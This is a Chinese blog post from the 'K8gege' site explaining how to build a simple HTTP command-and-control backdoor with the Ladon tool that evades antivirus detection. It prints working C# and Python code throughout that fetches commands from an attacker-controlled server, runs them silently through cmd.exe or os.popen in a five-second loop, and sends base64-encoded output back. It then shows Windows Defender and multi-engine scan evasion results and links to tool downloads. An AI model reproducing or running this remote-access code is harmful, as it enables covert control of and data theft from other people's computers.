logo

K8哥哥

没有绝对安全的系统

利用Ladon实现C2免杀所有杀软

本文于 1271 天之前发表

前言

写了几篇无回显命令执行漏洞Ladon回显方法,接下来我们它升级,既然我们可以通过漏洞执行无回显命令都可以得到回显,那么我们自己写的程序不是更轻而易举吗?所谓远控不过就是通过各种协议传输攻击者的操作指令与结果而已。早期都是用TCP协议实现,之后FTP、HTTP(什么网盘、邮箱、博客等都是并非什么新方式只是换个网址或API而已),大家常用的CS也是HTTP协议,本文用Ladon来实现个简单的C2。

启动WEB

1
Ladon web 800

参数

1
2
3
4
5
/ip.txt or ip.jpg        Get Target WanIP
/getstr/AnyString Get Request String
/getb64/AnyString Base64 Encode (Request String)
/deb64/Base64String Base64 Decode (Request String)
/deb64txt/Base64String Base64 Decode Save TXT

浏览器回显

由于是HTTP协议,可以通过浏览器访问得到Ladon回显BASE64解密结果,就是说我们只要通过命令行发送HTTP请求即可在Ladon控制台看到命令执行后的结果。getstr为发送明文,但是结果中有特殊字符或换行就无法HTTP请求了,所以我们使用BASE64加密,这个原理我们在JAVA反序列化漏洞回显中有提到过。

明文回显

http://192.168.1.43:800/getstr/cve2020

Base64回显

http://192.168.1.131:800/debase64/MTIzMTIzMTIzMTIzMTI=

保存txt

http://192.168.1.131:800/deb64txt/MTIzMTIzMTIzMTIzMTI=
http://192.168.1.131:800/debase64txt/MTIzMTIzMTIzMTIzMTI=

image

HTTP C2原理

1.搭建WEB,可Apache、IIS、Tomcat或者自己研发如Ladon、CobaltStrike
2.通过HTTP协议获取指令、回传结果
3.指令执行功能(CMD执行、文件上传下载、其它功能等)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
try
{
//首先在VPS上执行命令: Ladon web 800 一键启动服务器
//其次在Ladon根目录下放cmd.txt,里面存放要执行的命令

//第一步 获取命令
string url = "http://192.168.250.27:800/cmd.txt";
string cmd = httpget(url);

//第二步 执行命令
string result = execcmd(cmd);

//第三步 发送结果
//httpget("http://192.168.250.27:800/getstr/"+result);


//第三步 发送结果 Base64加密支持多行结果
httpget("http://192.168.250.27:800/deb64/" + Base64_encodeUTF8(result));

}
catch (Exception s)
{
Console.WriteLine("Error: " + s.Message);
}

PS: 定时执行如设定5秒,就和CS原理一样了

HTTP下达指令、接收结果代码

既然是通过HTTP实现的,那么我们当然是通过HTTP下达指令,我们可以把指令放在cmd.txt中,然后通过HTTP读取TXT内容,这不就是相当于下达指令了吗?读取到CMD后,执行CMD再将结果通过HTTP回传,所以我们可以使用同一个方法,只是下达指令和接收结果是不同URL而已。

1
2
3
4
5
6
7
8
9
10
11
12
private static string httpget(String url)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
request.Method = "GET";
request.Accept = "*/*";
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
Stream getStream = response.GetResponseStream();
StreamReader streamreader = new StreamReader(getStream);
string result = streamreader.ReadToEnd();
Console.WriteLine(result);
return result;
}

执行CMD通过getstr接收明文结果
image

执行CMD代码

接收到的CMD,通过此代码执行命令并获取结果。列目录、文件下载等其它功能同理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private static string execcmd(string cmd)
{
Process CmdProcess = new Process();
CmdProcess.StartInfo.FileName = "cmd.exe";
CmdProcess.StartInfo.CreateNoWindow = true;
CmdProcess.StartInfo.UseShellExecute = false;
CmdProcess.StartInfo.RedirectStandardInput = true;
CmdProcess.StartInfo.RedirectStandardOutput = true;
CmdProcess.StartInfo.RedirectStandardError = true;
CmdProcess.StartInfo.Arguments = "/c " + cmd;
CmdProcess.Start();
string result = CmdProcess.StandardOutput.ReadToEnd();
CmdProcess.WaitForExit();
CmdProcess.Close();
return result;
}

Base64加密代码

由于明文传输不支持多行结果,将会导致很多命令无法通过GET方式取回显,所以我们可通过BASE64回传,既不直接暴露CMD结果,也解决了多行结果无法回显问题。

1
2
3
4
public static string Base64_encodeUTF8(string str)
{
return Convert.ToBase64String(Encoding.UTF8.GetBytes(str));
}

BASE64加密的结果传到Ladon后会自动解密,用IIS、Apache等无此功能(省去脚本编写)
image

win10 Defender免杀

测试win10最新版defender轻松免杀
image

免杀virscan所有杀软

image

https://r.virscan.org/language/zh-cn/report/48315fc6e64f2b5740358607431618e9

显然很多杀软很垃圾的,对于自己写的RAT依旧轻松免杀,所以那些说自己写的没几个人用的非公开马只针对几个杀软认为自己牛B的,其实免杀水平都不怎样。当你写个公开的工具且很多人使用,依旧能免杀才叫牛,不是写一个没几个人用的东西免杀几个月还认为免杀牛逼,忽悠不会写马的菜B认为免杀难的差不多。你免杀别人公开的大量人用的东西当然难,不公开的东西可能并不需要怎么修改都免杀,功能越少越容易做,难个蛋蛋。

以色列杀软牛B

突然想起还有一个杀软网站,测试后发现被以色列杀软杀了,这种出现HTTP请求和CMD执行的,那些不杀的杀软,至少也要报个可疑才对。居然不报,还是以色列牛逼
image
https://www.virustotal.com/gui/file/400ae8245d431d49f9d73d0c437a09e2e8914c697ab7305bf3e8c28a90ef344c/detection

Python实现C2

使用PY实现就更简单了,我们可直接套用之前CS假上线的代码,稍微修改加上命令执行即可,参考: http://k8gege.org/p/40523.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import urllib2
import time
import os
import base64
### Cobalt Strike Cheat by K8gege
### http://k8gege.org/p/40523.html
def cscheat():
opener = urllib2.build_opener()
res = opener.open("http://192.168.250.27:800/cmd.txt")
cmd = res.read()
print cmd
result = os.popen(cmd)
res = result.read()
cmdResult=""
for line in res.splitlines():
cmdResult+=line+"\r\n"
print cmdResult
#opener.open("http://192.168.250.27:800/getstr/"+cmdResult)
opener.open("http://192.168.250.27:800/deb64/"+base64.b64encode(cmdResult))

while True:
print(time.strftime('%Y-%m-%d %X',time.localtime()))
cscheat()
time.sleep(5)

Download

本文完整代码LadonRat.rar,在K8小密圈可下载

LadonGo (ALL OS)

https://github.com/k8gege/LadonGo/releases

Ladon (Windows & Cobalt Strike)

历史版本: https://github.com/k8gege/Ladon/releases
7.0版本:http://k8gege.org/Download
8.3版本:K8小密圈

扫码加入K8小密圈